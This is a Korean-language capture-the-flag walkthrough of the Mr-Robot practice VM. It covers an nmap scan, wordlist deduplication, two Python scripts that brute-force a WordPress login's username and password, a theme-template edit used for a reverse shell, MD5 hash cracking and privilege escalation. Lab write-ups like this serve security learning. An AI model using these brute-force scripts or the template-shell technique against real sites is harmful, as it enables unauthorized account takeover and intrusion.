36. Mr-Robot (sort | uniq)
┌──(takudaddy㉿t4kud4ddy)-[~]
└─$ sudo nmap -p- -sC -sV -O 10.0.2.10
sudo: unable to resolve host t4kud4ddy: Name or service not known
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-10 00:00 EST
Nmap scan report for 10.0.2.10
Host is up (0.00062s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 08:00:27:C9:BF:FF (Oracle VirtualBox virtual NIC)



dic 파일과 txt 파일(첫 번째 플래그) 확인이 가능하다.

fsocity.dic 파일을 내려받은 후 확인해 보면,

8십5만여 단어가 들어있고
정렬한 뒤 중복을 제거해 보면
1만 1천여 단어로 정리가 가능.

이걸 별도로 저장한 뒤 써먹어 본다.

wordpress 로그인 페이지.
wpscan을 돌렸지만 딱히 찾아지는 건 없음.
hydra로 id + password 찾아볼 수 있지만
연습할 겸 파이썬으로 스크립트를 제작하기로 했다.
2. EXPLOITATION
스크립트의 아이디어는 우선,
로그인 실패 시 출력되는 메시지를 보면

Invalid user name이라고 나오는데
아이디가 맞고 비번이 틀린 경우
다른 메시지가 나올 것이라 가정해 볼 수 있다.
이 점을 활용해, 위에서 찾은 딕셔너리 리스트 항목을
하나씩 뽑아 Invalid user name이 안 나오는 경우를
찾으면 되겠다.
#!/usr/bin/python
import requests
with open("/home/takudaddy/newdic.dic", "r") as f:
dics = f.readlines()
for dic in dics:
url = "http://10.0.2.10/wp-login.php"
data = {"log":dic,"pwd":"hey","wp-submit":"Log+In"}
cookies = {"s_fid":"4D83FA11D9778BC9-16BCF51124593E6E",
"s_nr":"1636523429803",
"s_cc":"true",
"s_sq":"%5B%5BB%5D%5D",
"wordpress_test_cookie":"WP+Cookie+check"
}
msg = "Invalid username"
dic = dic.strip()
resp = requests.post(url, data=data, cookies=cookies)
if (msg in resp.text):
print(dic, "is not available")
else:
print(dic, "Found")
break
스크립트를 돌려본 결과,

계획대로 에러 메시지가 노출되지 않는
특정 항목에서 멈췄고, 따라서 아이디는
elliot라고 생각할 수 있다.
실험을 위해 해당 아이디를 사용하고
비번을 아무거나 입력해 보면,

elliot 유저에 대한 비번이 맞지 않는다고 나온다.
동일한 스크립트를 약간 수정해 비번을 찾아본다.
#!/usr/bin/python
import requests
with open("/home/takudaddy/newdic.dic", "r") as f:
dics = f.readlines()
for dic in dics:
url = "http://10.0.2.10/wp-login.php"
data = {"log":"elliot","pwd":dic,"wp-submit":"Log+In"}
cookies = {"s_fid":"4D83FA11D9778BC9-16BCF51124593E6E",
"s_nr":"1636523429803",
"s_cc":"true",
"s_sq":"%5B%5BB%5D%5D",
"wordpress_test_cookie":"WP+Cookie+check"
}
msg = "Invalid username"
msg2 = "The password you entered"
dic = dic.strip()
resp = requests.post(url, data=data, cookies=cookies)
if (msg2 in resp.text):
print(dic, "is not available")
else:
print(dic, "Found")
break

비번은 ER28-0652
hydra로 돌려보면,




맞다.

로그인 성공!
Edit Themes에 접속해 404 template을 수정한다.

저장한 뒤 리스너를 기동시키고
404 페이지가 뜨도록 아무 경로나 입력하면,

침투 성공!
3. PRIVILEGE ESCALATION

home 디렉터리를 살펴보면 robot 사용자가 있고
들어가 보면 해당 사용자의 암호가 들어있는 파일이 있다.
robot:c3fcd3d76192e4007dfb496cca67e13b
md5로 암호화된 password를 복호화 해보면,

abcdefghijklmnopqrstuvwxyz
이를 활용해 robot 사용자로 전환을 시도하면

성공!

두 번째 플래그도 찾았고,

nmap 사용이 가능함!

끝!